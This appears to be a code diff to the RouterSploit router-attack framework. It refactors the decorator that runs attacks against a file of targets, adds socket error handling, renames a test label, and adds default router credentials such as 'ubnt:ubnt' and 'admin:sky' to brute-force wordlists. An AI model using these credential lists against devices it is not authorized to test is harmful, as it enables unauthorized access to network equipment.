......@@ -308,7 +308,7 @@ class RoutersploitInterpreterTest(unittest.TestCase):
mock.call('name_desc'),
mock.call('\nDescription:'),
mock.call('description_desc'),
mock.call('\nTargets:'),
mock.call('\nDevices:'),
mock.call('target_desc'),
mock.call('\nAuthors:'),
mock.call('authors_desc'),
......
......@@ -5,6 +5,7 @@ from distutils.util import strtobool
import sys
import random
import string
import socket
import requests
......@@ -125,26 +126,26 @@ def multi(fn):
_, _, feed_path = self.target.partition("file://")
try:
file_handler = open(feed_path, 'r')
with open(feed_path) as file_handler:
for target in file_handler:
target = target.strip()
if not target:
continue
self.target, _, port = target.partition(':')
if port:
self.port = port
else:
self.port = original_port
print_status("Attack against: {}:{}".format(self.target,
self.port))
fn(self, *args, **kwargs)
self.target = original_target
self.port = original_port
return # Nothing to return, ran multiple times.
except IOError:
print_error("Could not read file: {}".format(self.target))
return
for target in file_handler:
target = target.strip()
if not target:
continue
self.target, _, port = target.partition(':')
if port:
self.port = port
else:
self.port = original_port
print_status("Attack against: {}:{}".format(self.target, self.port))
fn(self, *args, **kwargs)
self.target = original_target
self.port = original_port
file_handler.close()
return # Nothing to return, ran multiple times.
else:
return fn(self, *args, **kwargs)
return wrapper
......@@ -338,6 +339,9 @@ def http_request(method, url, **kwargs):
except requests.RequestException as error:
print_error(error)
return
except socket.error as err:
print_error(err)
return
except KeyboardInterrupt:
print_info()
print_status("Module has been stopped")
......
......@@ -166,6 +166,7 @@ admin:rmnetlm
admin:root
admin:secure
admin:setup
admin:sky
admin:smallbusiness
admin:smcadmin
admin:superuser
......@@ -384,6 +385,7 @@ topicalt:password
topicnorm:password
topicres:password
tw:tw
ubnt:ubnt
user:pass
user:password
user:public
......
......@@ -108,7 +108,6 @@ MPE
MServer
Manager
Master
Mau’dib
Menara
MiniAP
Multi
......@@ -146,6 +145,7 @@ RSX
SECURITY
SERVICE
SESAME
sky
SKY_FOX
SMDR
SSA
......@@ -479,6 +479,7 @@ truetime
trustno1
tslinux
tuxalize
ubnt
uplink
user
visual
......
......@@ -256,6 +256,7 @@ tiger
topicalt
topicnorm
topicres
ubnt
user
vcr
veda
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment